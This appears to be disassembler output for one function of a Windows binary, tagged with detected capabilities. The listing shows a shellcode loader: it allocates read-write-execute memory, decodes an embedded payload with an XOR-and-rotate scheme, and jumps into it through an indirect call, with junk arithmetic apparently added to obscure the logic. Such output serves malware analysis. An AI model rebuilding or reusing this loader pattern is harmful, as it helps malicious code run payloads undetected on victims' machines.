Function at 0x100013e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x108
mov dword [rsp + 0x90], 0xcd
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
add eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x90]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2a90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa8], 0
jmp 0x1000146e
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
movsxd rax, dword [rsp + 0xa8]
cmp rax, 0x552
jae 0x100014f7
movsxd rax, dword [rsp + 0xa8]
lea rcx, [0x10006060]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0xac], eax
mov eax, dword [0x10006050]
mov ecx, dword [rsp + 0xac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xac], eax
mov eax, dword [rsp + 0xac]
rol eax, 7
mov dword [rsp + 0xac], eax
mov eax, dword [0x10006050]
mov ecx, dword [rsp + 0xac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xac], eax
movsxd rax, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
mov edx, dword [rsp + 0xac]
mov dword [rcx + rax*4], edx
jmp 0x1000145e
mov dword [rsp + 0x48], 0xe87c
mov r8d, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
call fcn.10001110
mov dword [rsp + 0x88], 0x4e
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0xec], eax
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx]
cdq
mov ecx, dword [rsp + 0xec]
idiv ecx
mov ecx, dword [rsp + 0x88]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x88], eax
mov rax, qword [0x102942c0]
mov qword [rsp + 0x58], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x60], rax
lea rax, [0x100075b0]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0x28ccfe
mov dword [rsp + 0x78], 0x1856
mov eax, dword [0x10006054]
mov dword [rsp + 0x7c], eax
mov rax, qword [0x102942b0]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x4c], 0x67
mov dword [rsp + 0x8c], 0x83
mov r8d, dword [rsp + 0x4c]
mov edx, dword [rsp + 0x8c]
mov ecx, dword [rsp + 0x4c]
call fcn.10001360
mov eax, dword [rsp + 0x4c]
cmp dword [rsp + 0x8c], eax
jg 0x100016d2
mov dword [rsp + 0x50], 0xc4
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0xf0], eax
mov eax, dword [rsp + 0x4c]
cdq
mov ecx, dword [rsp + 0xf0]
idiv ecx
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x8c], 0xf19db394
je 0x10001672
call fcn.10001000
mov dword [rsp + 0xbc], 0xf0196913
lea rax, [rsp + 0x4c]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov eax, dword [rax]
add eax, dword [rsp + 0xbc]
mov ecx, dword [rsp + 0x8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
jmp 0x100016d0
lea rax, [rsp + 0x8c]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov ecx, dword [rsp + 0x50]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov eax, dword [rax]
add eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
jmp 0x10001734
mov dword [rsp + 0xd8], 0
jmp 0x100016ef
mov eax, dword [rsp + 0xd8]
inc eax
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 4
jge 0x10001734
mov dword [rsp + 0xd0], 0xf7700ea0
lea rax, [rsp + 0x8c]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax]
or eax, 0x499
mov ecx, dword [rsp + 0xd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x100016df
mov dword [rsp + 0x50], 0x87a0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0xf4], eax
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx]
cdq
mov ecx, dword [rsp + 0xf4]
idiv ecx
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0x58]
call qword [rsp + 0x98]
mov qword [0x102942b8], rax
add rsp, 0x108
ret